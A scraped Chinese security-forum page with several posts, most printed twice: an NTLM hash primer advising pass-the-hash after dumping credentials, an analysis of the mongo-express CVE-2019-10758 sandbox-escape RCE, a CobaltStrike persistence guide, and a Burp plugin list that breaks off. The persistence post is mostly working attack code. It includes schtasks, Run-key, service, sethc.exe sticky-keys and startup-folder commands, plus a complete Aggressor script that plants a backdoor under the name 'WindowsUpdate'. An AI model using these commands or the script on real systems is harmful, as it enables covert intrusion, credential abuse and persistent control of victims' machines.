因此,我们在成功抓取到用户的NTLM Hash后,一方面可以对其进行解密




若解密不成功,则可以直接进行PTH(Pass The Hash)攻击



 
LM hash与NT hash的不同点
为了解决LM加密和身份验证方案中固有的安全弱点,Microsoft 于1993年在Windows NT 3.1中引入了NTLM协议
引用360灵腾实验室的一张图:




也就是说从Windows Vista 和 Windows Server 2008开始,默认情况下只存储NT Hash,LM Hash将不再存在
 
那为何LM Hash不存在,但我们仍能抓到它的Hash呢?让我们来观察一下LM的加密方式
LM Hash的计算算法如下:
将用户密码明文转换为大写,并转换为OEM编码(ASCII等于其本身)密码补零或截断到14位,和分作前后2个部分,各7个字节(密码大于14在win xp上交替不存储LM Hash,但在NTLM认证时LM Hash是会按口令截断到14位计算)对7字节字符串的每7个比特后面添加1比特0,变成64比特的DES密钥将上面的2个密钥,使用DES算法,分别加密固定字符串KGS!@#$%,得到2个8字节的密文2个8字节的密文连成1个16字节的密文,称为LM Hash




 
LM Hash问题:
密码不区分大小写密码长度最大为14个字节,另外如果密码长度不超过7个字节,则LM Hash的后8个字节是固定值DES算法强度不够
 
以LM Hash的加密算法计算0即得AAD3B435B51404EE
若抓得LM Hash为AAD3B435B51404EEAAD3B435B51404EE​,则前后两部分都为0,则意味着目标以空来进行存储LM Hash
因此,在我们下次抓NTLM Hash时,若LM Hash不为AAD3B435B51404EEAAD3B435B51404EE,那很可能该目标以LM Hash来进行存储密码,且操作系统版本较低,接下来再观察后半部分是否为AAD3B435B51404EE,则可判断目标用户的密码长度是否大于8位
 
NT hash的生成方法:
将明文口令转换成十六进制的格式把十六进制转换成Unicode格式,每个字节之后添加0x00再对Unicode字符串作MD4加密,生成32位的十六进制数字串
 
后记
1、内网渗透中最重要的事就是凭证信息的收集并传递,以达到横向渗透的目的,因此,在拿到高权限shell后,及时抓取高频率NTLM Hash并进行传递是很重要的一步,但在有的内网环境中,所以Windows机器密码皆由一套算法随机定期生成,这时我们就要深入利用NTLM协议而不是简单的PTH来进行渗透
2、记得在以前刚学抓Hash时,一时之间不知道两个密码到底用哪个来进行解密,用第一个来进行解密显示一个“空”,用第二个来进行解密显示“暂无查询”,当时还怀疑人生了一会并尝试用空密码来进行远程桌面登录,所以说,原理的学习应该在实践之前
  查看全部
前言
在Windows身份验证机制中,有Kerberos协议和NTLM协议两种,之前在社区写过关于Kerberos协议的文章,所以接下来介绍一下NTLM协议
Kerberos协议主要应用于Windows域渗透中,而NTLM协议可以应用于任何含Windows机器的内网渗透中,所以说NTLM协议应用面更广,而且NTLM协议也更繁杂,可以说,在内网渗透时,你可以不会Kerberos协议,但你得懂NTLM协议
此文为NTLM协议的第一篇,用来粗略介绍一些基本概念
 
什么是NTLM协议
Windows机器在登录时,密码以Hash的形式保存在SAM文件中,域控主机保存在NTDS.dit文件中,其验证机制是一种基于挑战(Chalenge)/响应(Response)认证机制的网络认证协议,称为NTLM协议
111.jpg

 
NTLM协议分为LM(Lan Manager)协议和NT(NT Lan Manager)协议,NT Lan Manager是对Lan Manager的升级,整体流程和Lan Manager机制没有太大的区别,但是将其中的响应计算方法换为更安全的算法。尝试用CobaltStrike抓取内存中的Hash:
222.jpg
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
上面抓取的凭据以“:”作为分隔符,依次分别为 (用户名 : Uid : LM Hah : NT Hash)
客户端接收到服务器返回的8字节响应后,使用用户的NTLM Hash加密挑战,将生成的密文回复给服务器,服务器也存储了用户的NTLM Hash,同样使用NTLM Hash加密8字节的挑战,若其与接收到的客户端24字节响应相同则身份认证成功

因此,我们在成功抓取到用户的NTLM Hash后,一方面可以对其进行解密
333.jpg

若解密不成功,则可以直接进行PTH(Pass The Hash)攻击
444.jpg

 
LM hash与NT hash的不同点
为了解决LM加密和身份验证方案中固有的安全弱点,Microsoft 于1993年在Windows NT 3.1中引入了NTLM协议
引用360灵腾实验室的一张图:
555.jpg

也就是说从Windows Vista 和 Windows Server 2008开始,默认情况下只存储NT Hash,LM Hash将不再存在
 
那为何LM Hash不存在,但我们仍能抓到它的Hash呢?让我们来观察一下LM的加密方式
LM Hash的计算算法如下:
  1. 将用户密码明文转换为大写,并转换为OEM编码(ASCII等于其本身)
  2. 密码补零或截断到14位,和分作前后2个部分,各7个字节(密码大于14在win xp上交替不存储LM Hash,但在NTLM认证时LM Hash是会按口令截断到14位计算)
  3. 对7字节字符串的每7个比特后面添加1比特0,变成64比特的DES密钥
  4. 将上面的2个密钥,使用DES算法,分别加密固定字符串KGS!@#$%,得到2个8字节的密文
  5. 2个8字节的密文连成1个16字节的密文,称为LM Hash

666.jpg

 
LM Hash问题:
  1. 密码不区分大小写
  2. 密码长度最大为14个字节,另外如果密码长度不超过7个字节,则LM Hash的后8个字节是固定值
  3. DES算法强度不够

 
以LM Hash的加密算法计算0即得AAD3B435B51404EE
若抓得LM Hash为AAD3B435B51404EEAAD3B435B51404EE​,则前后两部分都为0,则意味着目标以空来进行存储LM Hash
因此,在我们下次抓NTLM Hash时,若LM Hash不为AAD3B435B51404EEAAD3B435B51404EE,那很可能该目标以LM Hash来进行存储密码,且操作系统版本较低,接下来再观察后半部分是否为AAD3B435B51404EE,则可判断目标用户的密码长度是否大于8位
 
NT hash的生成方法:
  1. 将明文口令转换成十六进制的格式
  2. 把十六进制转换成Unicode格式,每个字节之后添加0x00
  3. 再对Unicode字符串作MD4加密,生成32位的十六进制数字串

 
后记
1、内网渗透中最重要的事就是凭证信息的收集并传递,以达到横向渗透的目的,因此,在拿到高权限shell后,及时抓取高频率NTLM Hash并进行传递是很重要的一步,但在有的内网环境中,所以Windows机器密码皆由一套算法随机定期生成,这时我们就要深入利用NTLM协议而不是简单的PTH来进行渗透
2、记得在以前刚学抓Hash时,一时之间不知道两个密码到底用哪个来进行解密,用第一个来进行解密显示一个“空”,用第二个来进行解密显示“暂无查询”,当时还怀疑人生了一会并尝试用空密码来进行远程桌面登录,所以说,原理的学习应该在实践之前
 

mongo-express远程代码执行漏洞分析--转

Web安全渗透llpkk 发表了文章 • 0 个评论 • 222 次浏览 • 2020-03-15 19:16 • 来自相关话题

    近日,奇安信CERT监测到mongo-express远程代码执行漏洞,漏洞编号为CVE-2019-10758。凭借着对Node.js漏洞天生好奇(也是因为我好久没有写类似文章了),便深入跟进了这个漏洞。漏洞原理虽然简单但还是比较有意思的。那么闲话少说,慢慢跟我来看吧。
 
漏洞简介
先介绍下mongo-express是个什么工具,简单的说,mongo-express是一个MongoDB的客户端。和传统我们经常使用的数据库客户端不同的是,mongo-express是一套基于Web的客户端。它使用Node.js+express(一个Node.js服务器框架)开发,故名mongo-express。很自然的,这个客户端能对建立连接的MongoDB数据库执行任意操作。

此漏洞是因为代码中使用的vm去执行不安全的用户可控的代码导致的远程代码执行。至此我把这个漏洞的概况先抛出来,我们继续看。

环境搭建
阅读官方GitHub的安全公告,我们发现漏洞影响0.54.0以下的所有版本,打开DockerHub搜索mongo-express,在官方镜像页面中的tag中可随意选择0.54.0以下的版本进行环境搭建。我们以0.49为例。由于此漏洞环境还需要MongoDB数据库,我们可以通过执行以下docker命令进行快速搭建:

搭建MongoDB数据库docker run --name mymongo -d mongo:3.2搭建包含漏洞的mongo-express并且连接到上面的MongoDB数据库:docker run -it --rm -p 8081:8081 --link mymongo:mongo mongo-express:0.49当看到以下输出即说明mongo-express成功运行并成功连接MongoDB数据库。








根据上面的输出我们可以发现,mongo-express使用了Basic认证,并且默认账号密码为admin:pass,所以此漏洞虽然是高权限才可以利用,但因为默认高权限账号密码的存在,如果不修改默认账号密码,极易受到攻击。

环境搭建完毕后我们可以访问http://localhost:8081/去看看mongo-express长什么样子了。








漏洞分析
漏洞问题出在lib/bson.js中的toBSON()函数中。熟悉MongoDB的同学应该知道,MongoDB存储和查询数据的格式是BSON,它长得像JSON但并不是JSON,数据类型和JSON是有所不同的。众所周知,JSON的数据类型包括string、number、object、array、boolean和null,而BSON的基础数据类型包括byte、int32、int64、uint64、double、decimal128。其中byte类型又可以根据不同的定义派生出更多的类型。若想详细了解BSON相关知识可查看BSON Spec,或者参考gyyyy的文章:《浅析SQL和NoSQL注入(下)》中的“关于BSON”部分。这篇文章就不再赘述了。我们只需要知道BSON和JSON在数据类型上有很大区别就好。

mongo-express中的所有和BSON相关的操作,如新建一个文档(类似其他数据库的插入操作)都需要通过toBSON()函数。如我使用mongo-express新建如下文档:
 






通过Chrome调试工具,我们可以发现,在我新建一个文档的时候,前端把数据处理成表单的形式提交给后端,如下图:








在lib/bson.js中的toBSON()函数中断点,命中后即可看到如下字符串传入了后端:








我们先来分析一下这段代码,可以发现在toBSON()函数上面的getSandbox()定义了MongoDB相关的数据类型,然后在下面的toBSON()函数中对传入的字符串进行了转换,最终变成BSON类型的文档。

代码作者在注释中也提到了,因为JSON.parse不支持BSON类型,因此写了toBSON()函数去转换传入的字符串为BSON类型。我们可以显而易见的看到eval()函数的调用。eval is evil,eval()函数在JavaScript中本就是一个危险函数的存在,在前端中eval()可以造成XSS漏洞,而随着JavaScript被用到了后端,如果eval()中的内容可控,就可以直接造成代码执行了。那么我们是不是就可以直接构造一个类似其他Node.js代码执行漏洞的代码执行PoC即可了?没那么简单。

细心的同学想必已经发现了,toBSON()部分的代码使用了vm模块执行,它是Node.js默认就提供的一个内建模块,vm模块提供了一系列API用于在V8虚拟机环境中编译和运行代码。也就是说通过vm执行的JavaScript代码会运行在一个沙盒中。代码作者其实并没有忽略安全问题。那么在vm中执行的代码就真的安全了吗?我们来简化源码做一个实验:function evalDirect(string) {
eval(string);
}

function evalUseVm(string) {
const vm = require('vm');
const sandbox = {};
vm.runInNewContext('eval((' + string + '));', sandbox);
}

evalDirect('require("child_process").execSync("open /System/Applications/Calculator.app")');
evalUseVm('require("child_process").execSync("open /System/Applications/Calculator.app")');
运行这段代码,在调用evalDirect()函数时弹出了计算器,而在执行evalUseVm()函数时抛出如下错误:








报错中说,require未定义。那么只要想办法找到require就能继续构造PoC了。在JavaScript中,创建一个对象,即通过这个对象的原型对象的构造函数实例化这个对象,因此,原型对象是新对象的“模版”。那么假设我们使用的vm的沙箱就是一个当前进程上下文创建的对象,那么我们能不能通过链式调用vm的沙箱的构造函数来查找到当前上下文并且拿到require呢?vm在GitHub中的一个issue:Sandbox can be broken已经给出了答案,这个问题貌似永远也不会得到修复了。

通过this.constructor.constructor("return process")即可拿到当前上下文,我们可以看到其中包含了Node.js的全部全局变量:








这样我们就可以轻松拿到require构造PoC了。

补丁分析
从GitHub补丁diff上看,修复方案是删掉了全部使用vm的代码,而将BSON的处理转为通过mongodb-query-parser和mongodb-extended-json这两个库配合实现:








修复建议
建议升级到mongo-express 0.54.0及以上版本,并且修改默认密码。mongo-express虽然是一个Web项目,但只建议内网使用,或使用其他客户端代替。

总结
通过近期对Node.js漏洞代码的研究,隐约发现Node.js漏洞的一些规律,如eval()出现在代码中,require("child_process")出现在代码中,只要他们可以被控制 ,甚至如CVE-2019-7609的kibana RCE漏洞仅仅是可以控制环境变量,都可能造成较严重的后果。今后再做Node.js相关项目的代码审计、漏洞分析或漏洞挖掘时,我们应充分利用JavaScript的语言特性,或许能总结出更多规律,让思路更清晰。

参考
http://bsonspec.org/spec.html
https://github.com/gf3/sandbox/issues/50
https://juejin.im/post/5afe3c91518825673954f718
https://github.com/mongo-express/mongo-express/pull/522
https://odino.org/eval-no-more-understanding-vm-vm2-nodejs/
https://github.com/gyyyy/footprint/blob/master/articles/2018/sql-vs-nosql-injection-02.md
https://github.com/mongo-express/mongo-express/security/advisories/GHSA-h47j-hc6x-h3qq
 
原文:https://x3fwy.bitcron.com/post/mongo-express-rce-explained
  查看全部
    近日,奇安信CERT监测到mongo-express远程代码执行漏洞,漏洞编号为CVE-2019-10758。凭借着对Node.js漏洞天生好奇(也是因为我好久没有写类似文章了),便深入跟进了这个漏洞。漏洞原理虽然简单但还是比较有意思的。那么闲话少说,慢慢跟我来看吧。
 
漏洞简介
先介绍下mongo-express是个什么工具,简单的说,mongo-express是一个MongoDB的客户端。和传统我们经常使用的数据库客户端不同的是,mongo-express是一套基于Web的客户端。它使用Node.js+express(一个Node.js服务器框架)开发,故名mongo-express。很自然的,这个客户端能对建立连接的MongoDB数据库执行任意操作。

此漏洞是因为代码中使用的vm去执行不安全的用户可控的代码导致的远程代码执行。至此我把这个漏洞的概况先抛出来,我们继续看。

环境搭建
阅读官方GitHub的安全公告,我们发现漏洞影响0.54.0以下的所有版本,打开DockerHub搜索mongo-express,在官方镜像页面中的tag中可随意选择0.54.0以下的版本进行环境搭建。我们以0.49为例。由于此漏洞环境还需要MongoDB数据库,我们可以通过执行以下docker命令进行快速搭建:

搭建MongoDB数据库
docker run --name mymongo -d mongo:3.2
搭建包含漏洞的mongo-express并且连接到上面的MongoDB数据库:
docker run -it --rm -p 8081:8081 --link mymongo:mongo mongo-express:0.49
当看到以下输出即说明mongo-express成功运行并成功连接MongoDB数据库。

1.png




根据上面的输出我们可以发现,mongo-express使用了Basic认证,并且默认账号密码为admin:pass,所以此漏洞虽然是高权限才可以利用,但因为默认高权限账号密码的存在,如果不修改默认账号密码,极易受到攻击。

环境搭建完毕后我们可以访问http://localhost:8081/去看看mongo-express长什么样子了。

2.png




漏洞分析
漏洞问题出在lib/bson.js中的toBSON()函数中。熟悉MongoDB的同学应该知道,MongoDB存储和查询数据的格式是BSON,它长得像JSON但并不是JSON,数据类型和JSON是有所不同的。众所周知,JSON的数据类型包括string、number、object、array、boolean和null,而BSON的基础数据类型包括byte、int32、int64、uint64、double、decimal128。其中byte类型又可以根据不同的定义派生出更多的类型。若想详细了解BSON相关知识可查看BSON Spec,或者参考gyyyy的文章:《浅析SQL和NoSQL注入(下)》中的“关于BSON”部分。这篇文章就不再赘述了。我们只需要知道BSON和JSON在数据类型上有很大区别就好。

mongo-express中的所有和BSON相关的操作,如新建一个文档(类似其他数据库的插入操作)都需要通过toBSON()函数。如我使用mongo-express新建如下文档:
 
3.png



通过Chrome调试工具,我们可以发现,在我新建一个文档的时候,前端把数据处理成表单的形式提交给后端,如下图:

4.png




在lib/bson.js中的toBSON()函数中断点,命中后即可看到如下字符串传入了后端:

5.png




我们先来分析一下这段代码,可以发现在toBSON()函数上面的getSandbox()定义了MongoDB相关的数据类型,然后在下面的toBSON()函数中对传入的字符串进行了转换,最终变成BSON类型的文档。

代码作者在注释中也提到了,因为JSON.parse不支持BSON类型,因此写了toBSON()函数去转换传入的字符串为BSON类型。我们可以显而易见的看到eval()函数的调用。eval is evil,eval()函数在JavaScript中本就是一个危险函数的存在,在前端中eval()可以造成XSS漏洞,而随着JavaScript被用到了后端,如果eval()中的内容可控,就可以直接造成代码执行了。那么我们是不是就可以直接构造一个类似其他Node.js代码执行漏洞的代码执行PoC即可了?没那么简单。

细心的同学想必已经发现了,toBSON()部分的代码使用了vm模块执行,它是Node.js默认就提供的一个内建模块,vm模块提供了一系列API用于在V8虚拟机环境中编译和运行代码。也就是说通过vm执行的JavaScript代码会运行在一个沙盒中。代码作者其实并没有忽略安全问题。那么在vm中执行的代码就真的安全了吗?我们来简化源码做一个实验:
function evalDirect(string) {
eval(string);
}

function evalUseVm(string) {
const vm = require('vm');
const sandbox = {};
vm.runInNewContext('eval((' + string + '));', sandbox);
}

evalDirect('require("child_process").execSync("open /System/Applications/Calculator.app")');
evalUseVm('require("child_process").execSync("open /System/Applications/Calculator.app")');

运行这段代码,在调用evalDirect()函数时弹出了计算器,而在执行evalUseVm()函数时抛出如下错误:

6.png




报错中说,require未定义。那么只要想办法找到require就能继续构造PoC了。在JavaScript中,创建一个对象,即通过这个对象的原型对象的构造函数实例化这个对象,因此,原型对象是新对象的“模版”。那么假设我们使用的vm的沙箱就是一个当前进程上下文创建的对象,那么我们能不能通过链式调用vm的沙箱的构造函数来查找到当前上下文并且拿到require呢?vm在GitHub中的一个issue:Sandbox can be broken已经给出了答案,这个问题貌似永远也不会得到修复了。

通过this.constructor.constructor("return process")即可拿到当前上下文,我们可以看到其中包含了Node.js的全部全局变量:


7.png




这样我们就可以轻松拿到require构造PoC了。

补丁分析
从GitHub补丁diff上看,修复方案是删掉了全部使用vm的代码,而将BSON的处理转为通过mongodb-query-parser和mongodb-extended-json这两个库配合实现:

88.png




修复建议
建议升级到mongo-express 0.54.0及以上版本,并且修改默认密码。mongo-express虽然是一个Web项目,但只建议内网使用,或使用其他客户端代替。

总结
通过近期对Node.js漏洞代码的研究,隐约发现Node.js漏洞的一些规律,如eval()出现在代码中,require("child_process")出现在代码中,只要他们可以被控制 ,甚至如CVE-2019-7609的kibana RCE漏洞仅仅是可以控制环境变量,都可能造成较严重的后果。今后再做Node.js相关项目的代码审计、漏洞分析或漏洞挖掘时,我们应充分利用JavaScript的语言特性,或许能总结出更多规律,让思路更清晰。

参考
http://bsonspec.org/spec.html
https://github.com/gf3/sandbox/issues/50
https://juejin.im/post/5afe3c91518825673954f718
https://github.com/mongo-express/mongo-express/pull/522
https://odino.org/eval-no-more-understanding-vm-vm2-nodejs/
https://github.com/gyyyy/footprint/blob/master/articles/2018/sql-vs-nosql-injection-02.md
https://github.com/mongo-express/mongo-express/security/advisories/GHSA-h47j-hc6x-h3qq
 
原文:https://x3fwy.bitcron.com/post/mongo-express-rce-explained
 

CobaltStrike权限维持及其自动化

fireant 发表了文章 • 0 个评论 • 312 次浏览 • 2020-03-13 21:01 • 来自相关话题

0x00隐藏文件
windows首选attrib,使用一下命令可直接添加隐藏属性。attrib C:\test.exe +s +h





 
+s是设置系统属性,+h设置隐藏属性,如果需要取消将+换成-即可。

0x01定时任务
schtasks允许管理员创建,删除,查询,更改,运行和中止本地或远程系统上的计划任务。替代AT.exe,使用一下命令可以快捷的创建一个定时任务。schtasks /create /tn WindowsUpdate /tr “C:\test.txt” /sc minute /mo 1





/create是创建新任务,/TN是TaskName的简写,也就是新建的任务的名字,在系统必须唯一,/TR是TaskRun的简写,即为需要运行的程序的路径和文件名。/SC是schedule的简写,指定执行的频率的时间单位,/MO是modifier的缩写,可以理解为执行的频率的时间数值。如果任务已经在执行并且schtasks不会重复拉起任务。所说的at,schtasks的优势在于可以周期运行,重复检索任务是否处于运行状态,可使用下面的命令删除:schtasks /delete /tn WindowsUpdate

0x02开机
Windows系统的启动项位于注册表的:\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run




新建一个字符串值并修改数值数据为程序路径即可。reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v WindowsUpdate /t REG_SZ /d "C:\test.exe" /f
0x03移后门
挺老的东西了,需要系统权限才能实现,如果平通用户的权限无法修改,其他文件被缩短时远程连上去触发执行一下也不是坏事。






0x04Windows服务
在windows上系统-服务可用SC命令进行增删改。
命令行:sc create "WindowsUpdate" binpath= "cmd /c start C:\test.exe";
sc config "WindowsUpdate" start= auto
net start WindowsUpdate



需要注意参数值与等号之间要有间隔。使用Windows服务进行自启有个很有意思的地方,可以通过system权限启动,也是“提权”的一种不错的方式。另外还有个小坑,sc在powershell笔者cmd刚开始写插件是全程用bpowershell函数执行命令,在这儿卡了某会儿,相当难受。在中传参有问题,执行不成功,必须在里执行。

0x05自启目录
本质上来说和注册表修改是同一个,一个是复制文件,一个是修改注册表。接受方式不同,随便一起写了。copy "C:\test.exe" "C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsUpdate.exe" /y
attrib "C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsUpdate.exe" +s +h



如果用户不是Administrator,目录需要修改

0x06自动化
这里使用agscriptjiao脚本
使用Cobalt Strike 客户端Script Manager功能加载脚本
Github:
https://github.com/TheKingOfDuck/myScripts/blob/master/PrivilegeHelper.cna 
popup beacon_bottom {
menu "Privilege maintenance" {

item "Path setting" {
local('$bid');
foreach $bid ($1){
prompt_text("filePath", $filePath, {
$filePath = $1;
return $filePath;
});
}
}


item "Hidden file" {
local('$bid');
foreach $bid ($1){
bshell($1, "attrib \"$filePath\" +s +h");
}
}


item "Timed task" {
local('$bid');
foreach $bid ($1){
bshell($1, "schtasks /create /tn WindowsUpdate /tr \"$filePath\" /sc minute /mo 1");
}
}

item "Registry"{
local('$bid');
foreach $bid ($1){
bshell($1, "reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v WindowsUpdate /t REG_SZ /d \"$filePath\" /f");
}
}

item "SC service"{
local('$bid');
foreach $bid ($1){
bshell($1, "sc create \"WindowsUpdate\" binpath= \"cmd /c start \"$filePath\"\"&&sc config \"WindowsUpdate\" start= auto&&net start WindowsUpdate");

}
}

item "shift start"{
local('$bid');
foreach $bid ($1){
bshell($1, "takeown /f C:\\windows\\system32\\sethc.* /a /r /d y&&cacls C:\\windows\\system32\\sethc.exe /T /E /G system:F&&copy \"$filePath\" C:\\windows\\system32\\sethc.exe /y");
}
}

item "Self-starting directory"{
local('$bid');
foreach $bid ($1){
bshell($1, "copy \"$filePath\" \"C:\\Users\\Administrator\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsUpdate.exe\" /y");
bshell($1, "attrib \"C:\\Users\\Administrator\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsUpdate.exe\" +s +h");
}
}

item "Lazy Raiders" {
local('$bid');
foreach $bid ($1){
bshell($1, "attrib \"$filePath\" +s +h");
bshell($1, "schtasks /create /tn WindowsUpdate /tr \"$filePath\" /sc minute /mo 1");
bshell($1, "reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v WindowsUpdate /t REG_SZ /d \"$filePath\" /f");
bshell($1, "sc create \"WindowsUpdate\" binpath= \"cmd /c start \"$filePath\"\"&&sc config \"WindowsUpdate\" start= auto&&net start WindowsUpdate");
bshell($1, "takeown /f C:\\windows\\system32\\sethc.* /a /r /d y&&cacls C:\\windows\\system32\\sethc.exe /T /E /G system:F&&copy \"$filePath\" C:\\windows\\system32\\sethc.exe /y");
bshell($1, "copy \"$filePath\" \"C:\\Users\\Administrator\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsUpdate.exe\" /y");
bshell($1, "attrib \"C:\\Users\\Administrator\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsUpdate.exe\" +s +h");

}

}


}
}




 





先设置好远控所在的目录,然后执行懒人攻略,重启正常情况下立即弹回四个会话。(一个system,三个admin)
  查看全部
0x00隐藏文件
windows首选attrib,使用一下命令可直接添加隐藏属性。
attrib C:\test.exe +s +h


TIM截图20200313203207.png

 
+s是设置系统属性,+h设置隐藏属性,如果需要取消将+换成-即可。

0x01定时任务
schtasks允许管理员创建,删除,查询,更改,运行和中止本地或远程系统上的计划任务。替代AT.exe,使用一下命令可以快捷的创建一个定时任务。
schtasks /create /tn WindowsUpdate /tr “C:\test.txt” /sc minute /mo 1

TIM截图20200313203220.png


/create是创建新任务,/TN是TaskName的简写,也就是新建的任务的名字,在系统必须唯一,/TR是TaskRun的简写,即为需要运行的程序的路径和文件名。/SC是schedule的简写,指定执行的频率的时间单位,/MO是modifier的缩写,可以理解为执行的频率的时间数值。如果任务已经在执行并且schtasks不会重复拉起任务。所说的at,schtasks的优势在于可以周期运行,重复检索任务是否处于运行状态,可使用下面的命令删除:
schtasks /delete /tn WindowsUpdate


0x02开机
Windows系统的启动项位于注册表的:
\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
TIM截图20200313203232.png


新建一个字符串值并修改数值数据为程序路径即可。
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v WindowsUpdate /t REG_SZ /d "C:\test.exe" /f

0x03移后门
挺老的东西了,需要系统权限才能实现,如果平通用户的权限无法修改,其他文件被缩短时远程连上去触发执行一下也不是坏事。
TIM截图20200313203245.png



0x04Windows服务
在windows上系统-服务可用SC命令进行增删改。
命令行:
sc create "WindowsUpdate" binpath= "cmd /c start C:\test.exe";
sc config "WindowsUpdate" start= auto
net start WindowsUpdate
TIM截图20200313203256.png

需要注意参数值与等号之间要有间隔。使用Windows服务进行自启有个很有意思的地方,可以通过system权限启动,也是“提权”的一种不错的方式。另外还有个小坑,sc在powershell笔者cmd刚开始写插件是全程用bpowershell函数执行命令,在这儿卡了某会儿,相当难受。在中传参有问题,执行不成功,必须在里执行。

0x05自启目录
本质上来说和注册表修改是同一个,一个是复制文件,一个是修改注册表。接受方式不同,随便一起写了。
copy "C:\test.exe" "C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsUpdate.exe" /y
attrib "C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsUpdate.exe" +s +h
TIM截图20200313203305.png

如果用户不是Administrator,目录需要修改

0x06自动化
这里使用agscriptjiao脚本
使用Cobalt Strike 客户端Script Manager功能加载脚本
Github:
https://github.com/TheKingOfDuck/myScripts/blob/master/PrivilegeHelper.cna 
popup beacon_bottom {
menu "Privilege maintenance" {

item "Path setting" {
local('$bid');
foreach $bid ($1){
prompt_text("filePath", $filePath, {
$filePath = $1;
return $filePath;
});
}
}


item "Hidden file" {
local('$bid');
foreach $bid ($1){
bshell($1, "attrib \"$filePath\" +s +h");
}
}


item "Timed task" {
local('$bid');
foreach $bid ($1){
bshell($1, "schtasks /create /tn WindowsUpdate /tr \"$filePath\" /sc minute /mo 1");
}
}

item "Registry"{
local('$bid');
foreach $bid ($1){
bshell($1, "reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v WindowsUpdate /t REG_SZ /d \"$filePath\" /f");
}
}

item "SC service"{
local('$bid');
foreach $bid ($1){
bshell($1, "sc create \"WindowsUpdate\" binpath= \"cmd /c start \"$filePath\"\"&&sc config \"WindowsUpdate\" start= auto&&net start WindowsUpdate");

}
}

item "shift start"{
local('$bid');
foreach $bid ($1){
bshell($1, "takeown /f C:\\windows\\system32\\sethc.* /a /r /d y&&cacls C:\\windows\\system32\\sethc.exe /T /E /G system:F&&copy \"$filePath\" C:\\windows\\system32\\sethc.exe /y");
}
}

item "Self-starting directory"{
local('$bid');
foreach $bid ($1){
bshell($1, "copy \"$filePath\" \"C:\\Users\\Administrator\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsUpdate.exe\" /y");
bshell($1, "attrib \"C:\\Users\\Administrator\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsUpdate.exe\" +s +h");
}
}

item "Lazy Raiders" {
local('$bid');
foreach $bid ($1){
bshell($1, "attrib \"$filePath\" +s +h");
bshell($1, "schtasks /create /tn WindowsUpdate /tr \"$filePath\" /sc minute /mo 1");
bshell($1, "reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v WindowsUpdate /t REG_SZ /d \"$filePath\" /f");
bshell($1, "sc create \"WindowsUpdate\" binpath= \"cmd /c start \"$filePath\"\"&&sc config \"WindowsUpdate\" start= auto&&net start WindowsUpdate");
bshell($1, "takeown /f C:\\windows\\system32\\sethc.* /a /r /d y&&cacls C:\\windows\\system32\\sethc.exe /T /E /G system:F&&copy \"$filePath\" C:\\windows\\system32\\sethc.exe /y");
bshell($1, "copy \"$filePath\" \"C:\\Users\\Administrator\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsUpdate.exe\" /y");
bshell($1, "attrib \"C:\\Users\\Administrator\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsUpdate.exe\" +s +h");

}

}


}
}

TIM截图20200313210546.png

 
TIM截图20200313211212.png


先设置好远控所在的目录,然后执行懒人攻略,重启正常情况下立即弹回四个会话。(一个system,三个admin)
 

Burpsuit常用插件推荐

Web安全渗透wssmile 发表了文章 • 1 个评论 • 547 次浏览 • 2020-02-22 14:18 • 来自相关话题

0x00 
前言
我们在测试的时候最常用的基本上是burp了,今天在这里汇总了一些burp上的插件,可以让我们在测试的过程中更加的得心应手~
 
0x01
j2eescan
J2EEScan是一个基于Web安全扫描套件Burp Suite Proxy的插件, 增加了针对J2EE应用的安全扫描测试项目。它增加了一些新的测试用例和新策略去发现不同的J2EE安全漏洞。
在这里找到直接安装就行了。





下面我们以我自己的留言板登录页面为例
演示一下使用方法。





 
在scanner里边找到数据包双击,然后会发现可能存在的问题。
 




另外也能看到一些服务器的信息。






0x02
BypassWAF
我们在渗透测试有时遇到WAF(应用层防火墙),这往往令人头疼。Burp Suite是响当当的web应用程序渗透测试集成平台,而这款插件可以帮助你绕过某些WAF。





 
 
0x03
CSRF Scanner





 
也就是可以自动化检测csrf的工具
 





 
0x04
 CO2
也就是能快捷启动sqlmap,当然可以设置各种payload。





还可以指定注入方式等。










 
0x05
xssValidator
同样的方法安装完之后。
跟爆破的方法一样
发送到intruder
设置关键词为123456





其他按下图设置










然后直接跑即可





因为我的留言板没加过滤,所以这些xss代码都能成功,我们判断这的依据也是后边的长度。
 
0x06
参考文章链接
https://blog.csdn.net/a15803617402/article/details/84880219
https://www.freebuf.com/sectool/158005.html
 
 
 

 
 
 
 
  查看全部
0x00 
前言
我们在测试的时候最常用的基本上是burp了,今天在这里汇总了一些burp上的插件,可以让我们在测试的过程中更加的得心应手~
 
0x01
j2eescan
J2EEScan是一个基于Web安全扫描套件Burp Suite Proxy的插件, 增加了针对J2EE应用的安全扫描测试项目。它增加了一些新的测试用例和新策略去发现不同的J2EE安全漏洞。
在这里找到直接安装就行了。

1.png

下面我们以我自己的留言板登录页面为例
演示一下使用方法。

2.png

 
在scanner里边找到数据包双击,然后会发现可能存在的问题。
 
3.png

